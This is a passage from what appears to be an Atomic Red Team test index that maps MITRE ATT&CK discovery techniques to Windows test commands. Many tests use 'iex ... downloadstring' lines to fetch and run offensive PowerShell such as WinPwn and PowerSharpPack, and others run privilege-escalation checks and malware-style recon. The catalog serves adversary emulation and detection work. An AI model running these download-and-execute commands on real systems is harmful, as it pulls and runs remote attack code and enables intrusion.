- "command": "systeminfo\nreg query HKLM\\SYSTEM\\CurrentControlSet\\Services\\Disk\\Enum\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "Hostname Discovery (Windows)",
- "auto_generated_guid": "85cfbf23-4a1e-4342-8792-007e004b975f",
- "description": "Identify system hostname for Windows. Upon execution, the hostname of the device will be displayed.\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "hostname\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "Windows MachineGUID Discovery",
- "auto_generated_guid": "224b4daf-db44-404e-b6b2-f4d1f0126ef8",
- "description": "Identify the Windows MachineGUID value for a system. Upon execution, the machine GUID will be displayed from registry.\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "REG QUERY HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Cryptography /v MachineGuid\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "Griffon Recon",
- "auto_generated_guid": "69bd4abe-8759-49a6-8d21-0f15822d6370",
- "description": "This script emulates the reconnaissance script seen in used by Griffon and was modified by security researcher Kirk Sayre \nin order simply print the recon results to the screen as opposed to exfiltrating them. [Script](https://gist.github.com/kirk-sayre-work/7cb5bf4e2c7c77fa5684ddc17053f1e5). \nFor more information see also [https://malpedia.caad.fkie.fraunhofer.de/details/js.griffon](https://malpedia.caad.fkie.fraunhofer.de/details/js.griffon) and [https://attack.mitre.org/software/S0417/](https://attack.mitre.org/software/S0417/)",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "vbscript": {
- "description": "Path to sample script",
- "type": "string",
- "default": "PathToAtomicsFolder\\T1082\\src\\griffon_recon.vbs"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "Sample script file must exist on disk at specified location (#{vbscript})\n",
- "prereq_command": "if (Test-Path #{vbscript}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "New-Item -Type Directory (split-path #{vbscript}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1082/src/griffon_recon.vbs\" -OutFile \"#{vbscript}\"\n"
- }
- ],
- "executor": {
- "command": "cscript #{vbscript}",
- "name": "powershell",
- "elevation_required": false
- }
- },
- {
- "name": "Environment variables discovery on windows",
- "auto_generated_guid": "f400d1c0-1804-4ff8-b069-ef5ddd2adbf3",
- "description": "Identify all environment variables. Upon execution, environments variables and your path info will be displayed.\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "set\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "WinPwn - winPEAS",
- "auto_generated_guid": "eea1d918-825e-47dd-acc2-814d6c58c0e1",
- "description": "Discover Local Privilege Escalation possibilities using winPEAS function of WinPwn",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'\niex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\nwinPEAS -noninteractive -consoleoutput",
- "name": "powershell"
- }
- },
- {
- "name": "WinPwn - itm4nprivesc",
- "auto_generated_guid": "3d256a2f-5e57-4003-8eb6-64d91b1da7ce",
- "description": "Discover Local Privilege Escalation possibilities using itm4nprivesc function of WinPwn",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'\niex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\nitm4nprivesc -noninteractive -consoleoutput",
- "name": "powershell"
- }
- },
- {
- "name": "WinPwn - Powersploits privesc checks",
- "auto_generated_guid": "345cb8e4-d2de-4011-a580-619cf5a9e2d7",
- "description": "Powersploits privesc checks using oldchecks function of WinPwn",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'\niex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\noldchecks -noninteractive -consoleoutput",
- "cleanup_command": "rm -force -recurse .\\DomainRecon -ErrorAction Ignore\nrm -force -recurse .\\Exploitation -ErrorAction Ignore\nrm -force -recurse .\\LocalPrivEsc -ErrorAction Ignore\nrm -force -recurse .\\LocalRecon -ErrorAction Ignore\nrm -force -recurse .\\Vulnerabilities -ErrorAction Ignore",
- "name": "powershell"
- }
- },
- {
- "name": "WinPwn - General privesc checks",
- "auto_generated_guid": "5b6f39a2-6ec7-4783-a5fd-2c54a55409ed",
- "description": "General privesc checks using the otherchecks function of WinPwn",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'\niex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\notherchecks -noninteractive -consoleoutput",
- "name": "powershell"
- }
- },
- {
- "name": "WinPwn - GeneralRecon",
- "auto_generated_guid": "7804659b-fdbf-4cf6-b06a-c03e758590e8",
- "description": "Collect general computer informations via GeneralRecon function of WinPwn",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'\niex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\nGeneralrecon -consoleoutput -noninteractive",
- "name": "powershell"
- }
- },
- {
- "name": "WinPwn - Morerecon",
- "auto_generated_guid": "3278b2f6-f733-4875-9ef4-bfed34244f0a",
- "description": "Gathers local system information using the Morerecon function of WinPwn",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'\niex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\nMorerecon -noninteractive -consoleoutput",
- "name": "powershell"
- }
- },
- {
- "name": "WinPwn - RBCD-Check",
- "auto_generated_guid": "dec6a0d8-bcaf-4c22-9d48-2aee59fb692b",
- "description": "Search for Resource-Based Constrained Delegation attack paths using RBCD-Check function of WinPwn",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'\niex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\nRBCD-Check -consoleoutput -noninteractive",
- "name": "powershell"
- }
- },
- {
- "name": "WinPwn - PowerSharpPack - Watson searching for missing windows patches",
- "auto_generated_guid": "07b18a66-6304-47d2-bad0-ef421eb2e107",
- "description": "PowerSharpPack - Watson searching for missing windows patches technique via function of WinPwn",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-SharpWatson.ps1')\nInvoke-watson",
- "name": "powershell"
- }
- },
- {
- "name": "WinPwn - PowerSharpPack - Sharpup checking common Privesc vectors",
- "auto_generated_guid": "efb79454-1101-4224-a4d0-30c9c8b29ffc",
- "description": "PowerSharpPack - Sharpup checking common Privesc vectors technique via function of WinPwn - Takes several minutes to complete.",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-SharpUp.ps1')\nInvoke-SharpUp -command \"audit\"",
- "name": "powershell"
- }
- },
- {
- "name": "WinPwn - PowerSharpPack - Seatbelt",
- "auto_generated_guid": "5c16ceb4-ba3a-43d7-b848-a13c1f216d95",
- "description": "PowerSharpPack - Seatbelt technique via function of WinPwn.\n\n[Seatbelt](https://github.com/GhostPack/Seatbelt) is a C# project that performs a number of security oriented host-survey \"safety checks\" relevant from both offensive and defensive security perspectives.",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-Seatbelt.ps1')\nInvoke-Seatbelt -Command \"-group=all\"; pause",
- "name": "powershell"
- }
- },
- {
- "name": "System Information Discovery with WMIC",
- "auto_generated_guid": "8851b73a-3624-4bf7-8704-aa312411565c",
- "description": "Identify system information with the WMI command-line (WMIC) utility. Upon execution, various system information will be displayed, including: OS, CPU, GPU, and disk drive names; memory capacity; display resolution; and baseboard, BIOS, and GPU driver products/versions.\nhttps://nwgat.ninja/getting-system-information-with-wmic-on-windows/\nElements of this test were observed in the wild used by Aurora Stealer in late 2022 and early 2023, as highlighted in public reporting:\nhttps://blog.sekoia.io/aurora-a-rising-stealer-flying-under-the-radar\nhttps://blog.cyble.com/2023/01/18/aurora-a-stealer-using-shapeshifting-tactics/\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "wmic cpu get name\nwmic MEMPHYSICAL get MaxCapacity\nwmic baseboard get product\nwmic baseboard get version\nwmic bios get SMBIOSBIOSVersion\nwmic path win32_VideoController get name\nwmic path win32_VideoController get DriverVersion\nwmic path win32_VideoController get VideoModeDescription\nwmic OS get Caption,OSArchitecture,Version\nwmic DISKDRIVE get Caption\n",
- "name": "command_prompt"
- }
- }
- ]
- },
- "T1010": {
- "technique": {
- "x_mitre_platforms": [
- "macOS",
- "Windows",
- "Linux"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--4ae4f953-fe58-4cc8-a327-33257e30a830",
- "created": "2017-05-31T21:30:24.512Z",
- "x_mitre_version": "1.2",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1010",
- "url": "https://attack.mitre.org/techniques/T1010"
- },
- {
- "source_name": "Prevailion DarkWatchman 2021",
- "url": "https://www.prevailion.com/darkwatchman-new-fileless-techniques/",
- "description": "Smith, S., Stafford, M. (2021, December 14). DarkWatchman: A new evolution in fileless techniques. Retrieved January 10, 2022."
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may attempt to get a listing of open application windows. Window listings could convey information about how the system is used or give context to information collected by a keylogger.(Citation: Prevailion DarkWatchman 2021)",
- "modified": "2022-04-19T02:07:41.751Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Application Window Discovery",
- "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "discovery"
- }
- ],
- "x_mitre_is_subtechnique": false,
- "x_mitre_data_sources": [
- "Process: OS API Execution",
- "Process: Process Creation",
- "Command: Command Execution"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "identifier": "T1010"
- },
- "atomic_tests": [
- {
- "name": "List Process Main Windows - C# .NET",
- "auto_generated_guid": "fe94a1c3-3e22-4dc9-9fdf-3a8bdbc10dc4",
- "description": "Compiles and executes C# code to list main window titles associated with each process.\n\nUpon successful execution, powershell will download the .cs from the Atomic Red Team repo, and cmd.exe will compile and execute T1010.exe. Upon T1010.exe execution, expected output will be via stdout.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "input_source_code": {
- "description": "Path to source of C# code",
- "type": "path",
- "default": "PathToAtomicsFolder\\T1010\\src\\T1010.cs"
- },
- "output_file_name": {
- "description": "Name of output binary",
- "type": "string",
- "default": "%TEMP%\\T1010.exe"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "T1010.cs must exist on disk at specified location (#{input_source_code})\n",
- "prereq_command": "if (Test-Path #{input_source_code}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "New-Item -Type Directory (split-path #{input_source_code}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1010/src/T1010.cs -OutFile \"#{input_source_code}\"\n"
- }
- ],
- "executor": {
- "command": "C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\csc.exe -out:#{output_file_name} #{input_source_code}\n#{output_file_name}\n",
- "cleanup_command": "del /f /q /s #{output_file_name} >nul 2>&1\n",
- "name": "command_prompt"
- }
- }
- ]
- },
- "T1087.003": {
- "technique": {
- "x_mitre_platforms": [
- "Windows",
- "Office 365",
- "Google Workspace"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--4bc31b94-045b-4752-8920-aebaebdb6470",
- "type": "attack-pattern",
- "created": "2020-02-21T21:08:33.237Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1087.003",
- "url": "https://attack.mitre.org/techniques/T1087/003"
- },
- {
- "source_name": "Microsoft Exchange Address Lists",
- "url": "https://docs.microsoft.com/en-us/exchange/email-addresses-and-address-books/address-lists/address-lists?view=exchserver-2019",
- "description": "Microsoft. (2020, February 7). Address lists in Exchange Server. Retrieved March 26, 2020."
- },
- {
- "source_name": "Microsoft getglobaladdresslist",
- "url": "https://docs.microsoft.com/en-us/powershell/module/exchange/email-addresses-and-address-books/get-globaladdresslist",
- "description": "Microsoft. (n.d.). Get-GlobalAddressList. Retrieved October 6, 2019."
- },
- {
- "description": "Bullock, B.. (2016, October 3). Attacking Exchange with MailSniper. Retrieved October 6, 2019.",
- "url": "https://www.blackhillsinfosec.com/attacking-exchange-with-mailsniper/",
- "source_name": "Black Hills Attacking Exchange MailSniper, 2016"
- },
- {
- "source_name": "Google Workspace Global Access List",
- "url": "https://support.google.com/a/answer/166870?hl=en",
- "description": "Google. (n.d.). Retrieved March 16, 2021."
- }
- ],
- "modified": "2021-03-31T13:10:46.302Z",
- "name": "Email Account",
- "description": "Adversaries may attempt to get a listing of email addresses and accounts. Adversaries may try to dump Exchange address lists such as global address lists (GALs).(Citation: Microsoft Exchange Address Lists)\n\nIn on-premises Exchange and Exchange Online, theGet-GlobalAddressList
PowerShell cmdlet can be used to obtain email addresses and accounts from a domain using an authenticated session.(Citation: Microsoft getglobaladdresslist)(Citation: Black Hills Attacking Exchange MailSniper, 2016)\n\nIn Google Workspace, the GAL is shared with Microsoft Outlook users through the Google Workspace Sync for Microsoft Outlook (GWSMO) service. Additionally, the Google Workspace Directory allows for users to get a listing of other users within the organization.(Citation: Google Workspace Global Access List)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "discovery"
- }
- ],
- "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "User Account: User Account Metadata",
- "Process: Process Creation",
- "Command: Command Execution"
- ],
- "x_mitre_permissions_required": [
- "User"
- ]
- },
- "atomic_tests": []
- },
- "T1497.003": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Jorge Orchilles, SCYTHE",
- "Ruben Dodge, @shotgunner101",
- "Jeff Felling, Red Canary",
- "Deloitte Threat Library Team"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--4bed873f-0b7d-41d4-b93a-b6905d1f90b0",
- "type": "attack-pattern",
- "created": "2020-03-06T21:11:11.225Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1497.003",
- "url": "https://attack.mitre.org/techniques/T1497/003"
- },
- {
- "source_name": "Deloitte Environment Awareness",
- "url": "https://drive.google.com/file/d/1t0jn3xr4ff2fR30oQAUn_RsWSnMpOAQc",
- "description": "Torello, A. & Guibernau, F. (n.d.). Environment Awareness. Retrieved May 18, 2021."
- },
- {
- "source_name": "Revil Independence Day",
- "url": "https://news.sophos.com/en-us/2021/07/04/independence-day-revil-uses-supply-chain-exploit-to-attack-hundreds-of-businesses/",
- "description": "Loman, M. et al. (2021, July 4). Independence Day: REvil uses supply chain exploit to attack hundreds of businesses. Retrieved September 30, 2021."
- },
- {
- "source_name": "Netskope Nitol",
- "url": "https://www.netskope.com/blog/nitol-botnet-makes-resurgence-evasive-sandbox-analysis-technique",
- "description": "Malik, A. (2016, October 14). Nitol Botnet makes a resurgence with evasive sandbox analysis technique. Retrieved September 30, 2021."
- },
- {
- "source_name": "Joe Sec Nymaim",
- "url": "https://www.joesecurity.org/blog/3660886847485093803",
- "description": "Joe Security. (2016, April 21). Nymaim - evading Sandboxes with API hammering. Retrieved September 30, 2021."
- },
- {
- "source_name": "Joe Sec Trickbot",
- "url": "https://www.joesecurity.org/blog/498839998833561473",
- "description": "Joe Security. (2020, July 13). TrickBot's new API-Hammering explained. Retrieved September 30, 2021."
- },
- {
- "source_name": "ISACA Malware Tricks",
- "url": "https://www.isaca.org/resources/isaca-journal/issues/2017/volume-6/evasive-malware-tricks-how-malware-evades-detection-by-sandboxes",
- "description": "Kolbitsch, C. (2017, November 1). Evasive Malware Tricks: How Malware Evades Detection by Sandboxes. Retrieved March 30, 2021."
- }
- ],
- "modified": "2021-10-15T22:37:43.854Z",
- "name": "Time Based Evasion",
- "description": "Adversaries may employ various time-based methods to detect and avoid virtualization and analysis environments. This may include enumerating time-based properties, such as uptime or the system clock, as well as the use of timers or other triggers to avoid a virtual machine environment (VME) or sandbox, specifically those that are automated or only operate for a limited amount of time.\n\nAdversaries may employ various time-based evasions, such as delaying malware functionality upon initial execution using programmatic sleep commands or native system scheduling functionality (ex: [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053)). Delays may also be based on waiting for specific victim conditions to be met (ex: system time, events, etc.) or employ scheduled [Multi-Stage Channels](https://attack.mitre.org/techniques/T1104) to avoid analysis and scrutiny.(Citation: Deloitte Environment Awareness)\n\nBenign commands or other operations may also be used to delay malware execution. Loops or otherwise needless repetitions of commands, such as [Ping](https://attack.mitre.org/software/S0097)s, may be used to delay malware execution and potentially exceed time thresholds of automated analysis environments.(Citation: Revil Independence Day)(Citation: Netskope Nitol) Another variation, commonly referred to as API hammering, involves making various calls to [Native API](https://attack.mitre.org/techniques/T1106) functions in order to delay execution (while also potentially overloading analysis environments with junk data).(Citation: Joe Sec Nymaim)(Citation: Joe Sec Trickbot)\n\nAdversaries may also use time as a metric to detect sandboxes and analysis environments, particularly those that attempt to manipulate time mechanisms to simulate longer elapses of time. For example, an adversary may be able to identify a sandbox accelerating time by sampling and calculating the expected value for an environment's timestamp before and after execution of a sleep function.(Citation: ISACA Malware Tricks)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "discovery"
- }
- ],
- "x_mitre_detection": "Time-based evasion will likely occur in the first steps of an operation but may also occur throughout as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. Detecting actions related to virtualization and sandbox identification may be difficult depending on the adversary's implementation and monitoring required. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of Discovery, especially in a short period of time, may aid in detection. ",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.2",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Process: OS API Execution",
- "Process: Process Creation",
- "Command: Command Execution"
- ],
- "x_mitre_defense_bypassed": [
- "Host forensic analysis",
- "Signature-based detection",
- "Static File Analysis",
- "Anti-virus"
- ]
- },
- "atomic_tests": []
- },
- "T1580": {
- "technique": {
- "x_mitre_platforms": [
- "IaaS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Regina Elwell",
- "Praetorian",
- "Isif Ibrahima, Mandiant"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--57a3d31a-d04f-4663-b2da-7df8ec3f8c9d",
- "created": "2020-08-20T17:51:25.671Z",
- "x_mitre_version": "1.3",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1580",
- "url": "https://attack.mitre.org/techniques/T1580"
- },
- {
- "source_name": "Expel IO Evil in AWS",
- "url": "https://expel.io/blog/finding-evil-in-aws/",
- "description": "A. Randazzo, B. Manahan and S. Lipton. (2020, April 28). Finding Evil in AWS. Retrieved June 25, 2020."
- },
- {
- "source_name": "AWS Head Bucket",
- "url": "https://docs.aws.amazon.com/AmazonS3/latest/API/API_HeadBucket.html",
- "description": "Amazon Web Services. (n.d.). AWS HeadBucket. Retrieved February 14, 2022."
- },
- {
- "source_name": "AWS Get Public Access Block",
- "url": "https://docs.aws.amazon.com/AmazonS3/latest/API/API_GetPublicAccessBlock.html",
- "description": "Amazon Web Services. (n.d.). Retrieved May 28, 2021."
- },
- {
- "source_name": "AWS Describe DB Instances",
- "url": "https://docs.aws.amazon.com/AmazonRDS/latest/APIReference/API_DescribeDBInstances.html",
- "description": "Amazon Web Services. (n.d.). Retrieved May 28, 2021."
- },
- {
- "source_name": "Amazon Describe Instance",
- "url": "https://docs.aws.amazon.com/cli/latest/reference/ssm/describe-instance-information.html",
- "description": "Amazon. (n.d.). describe-instance-information. Retrieved March 3, 2020."
- },
- {
- "source_name": "Amazon Describe Instances API",
- "url": "https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_DescribeInstances.html",
- "description": "Amazon. (n.d.). DescribeInstances. Retrieved May 26, 2020."
- },
- {
- "source_name": "Google Compute Instances",
- "url": "https://cloud.google.com/sdk/gcloud/reference/compute/instances/list",
- "description": "Google. (n.d.). gcloud compute instances list. Retrieved May 26, 2020."
- },
- {
- "source_name": "Mandiant M-Trends 2020",
- "url": "https://content.fireeye.com/m-trends/rpt-m-trends-2020",
- "description": "Mandiant. (2020, February). M-Trends 2020. Retrieved April 24, 2020."
- },
- {
- "source_name": "Microsoft AZ CLI",
- "url": "https://docs.microsoft.com/en-us/cli/azure/ad/user?view=azure-cli-latest",
- "description": "Microsoft. (n.d.). az ad user. Retrieved October 6, 2019."
- },
- {
- "source_name": "Malwarebytes OSINT Leaky Buckets - Hioureas",
- "url": "https://blog.malwarebytes.com/researchers-corner/2019/09/hacking-with-aws-incorporating-leaky-buckets-osint-workflow/",
- "description": "Vasilios Hioureas. (2019, September 13). Hacking with AWS: incorporating leaky buckets into your OSINT workflow. Retrieved February 14, 2022."
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "An adversary may attempt to discover infrastructure and resources that are available within an infrastructure-as-a-service (IaaS) environment. This includes compute service resources such as instances, virtual machines, and snapshots as well as resources of other services including the storage and database services.\n\nCloud providers offer methods such as APIs and commands issued through CLIs to serve information about infrastructure. For example, AWS provides a DescribeInstances
API within the Amazon EC2 API that can return information about one or more instances within an account, the ListBuckets
API that returns a list of all buckets owned by the authenticated sender of the request, the HeadBucket
API to determine a bucket\u2019s existence along with access permissions of the request sender, or the GetPublicAccessBlock
API to retrieve access block configuration for a bucket.(Citation: Amazon Describe Instance)(Citation: Amazon Describe Instances API)(Citation: AWS Get Public Access Block)(Citation: AWS Head Bucket) Similarly, GCP's Cloud SDK CLI provides the gcloud compute instances list
command to list all Google Compute Engine instances in a project (Citation: Google Compute Instances), and Azure's CLI command az vm list
lists details of virtual machines.(Citation: Microsoft AZ CLI) In addition to API commands, adversaries can utilize open source tools to discover cloud storage infrastructure through [Wordlist Scanning](https://attack.mitre.org/techniques/T1595/003).(Citation: Malwarebytes OSINT Leaky Buckets - Hioureas)\n\nAn adversary may enumerate resources using a compromised user's access keys to determine which are available to that user.(Citation: Expel IO Evil in AWS) The discovery of these available resources may help adversaries determine their next steps in the Cloud environment, such as establishing Persistence.(Citation: Mandiant M-Trends 2020)An adversary may also use this information to change the configuration to make the bucket publicly accessible, allowing data to be accessed without authentication. Adversaries have also may use infrastructure discovery APIs such as DescribeDBInstances
to determine size, owner, permissions, and network ACLs of database resources. (Citation: AWS Describe DB Instances) Adversaries can use this information to determine the potential value of databases and discover the requirements to access them. Unlike in [Cloud Service Discovery](https://attack.mitre.org/techniques/T1526), this technique focuses on the discovery of components of the provided services rather than the services themselves.",
- "modified": "2022-04-20T19:03:12.977Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Cloud Infrastructure Discovery",
- "x_mitre_detection": "Establish centralized logging for the activity of cloud infrastructure components. Monitor logs for actions that could be taken to gather information about cloud infrastructure, including the use of discovery API calls by new or unexpected users and enumerations from unknown or malicious IP addresses. To reduce false positives, valid change management procedures could introduce a known identifier that is logged with the change (e.g., tag or header) if supported by the cloud provider, to help distinguish valid, expected actions from malicious ones.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "discovery"
- }
- ],
- "x_mitre_is_subtechnique": false,
- "x_mitre_data_sources": [
- "Snapshot: Snapshot Enumeration",
- "Cloud Storage: Cloud Storage Enumeration",
- "Volume: Volume Metadata",
- "Instance: Instance Enumeration",
- "Snapshot: Snapshot Metadata",
- "Instance: Instance Metadata",
- "Volume: Volume Enumeration",
- "Cloud Storage: Cloud Storage Metadata"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "identifier": "T1580"
- },
- "atomic_tests": []
- },
- "T1217": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "Windows",
- "macOS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Mike Kemmerer"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--5e4a2073-9643-44cb-a0b5-e7f4048446c7",
- "type": "attack-pattern",
- "created": "2018-04-18T17:59:24.739Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "url": "https://attack.mitre.org/techniques/T1217",
- "external_id": "T1217"
- }
- ],
- "modified": "2020-03-26T16:06:07.367Z",
- "name": "Browser Bookmark Discovery",
- "description": "Adversaries may enumerate browser bookmarks to learn more about compromised hosts. Browser bookmarks may reveal personal information about users (ex: banking sites, interests, social media, etc.) as well as details about internal network resources such as servers, tools/dashboards, or other related infrastructure.\n\nBrowser bookmarks may also highlight additional targets after an adversary has access to valid credentials, especially [Credentials In Files](https://attack.mitre.org/techniques/T1552/001) associated with logins cached by a browser.\n\nSpecific storage locations vary based on platform and/or application, but browser bookmarks are typically stored in local files/databases.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "discovery"
- }
- ],
- "x_mitre_detection": "Monitor processes and command-line arguments for actions that could be taken to gather browser bookmark information. Remote access tools with built-in features may interact directly using APIs to gather information. Information may also be acquired through system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\n\nSystem and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Collection and Exfiltration, based on the information obtained.",
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "File: File Access",
- "Process: Process Creation",
- "Command: Command Execution"
- ],
- "x_mitre_permissions_required": [
- "User"
- ],
- "identifier": "T1217"
- },
- "atomic_tests": [
- {
- "name": "List Google Chrome / Opera Bookmarks on Windows with powershell",
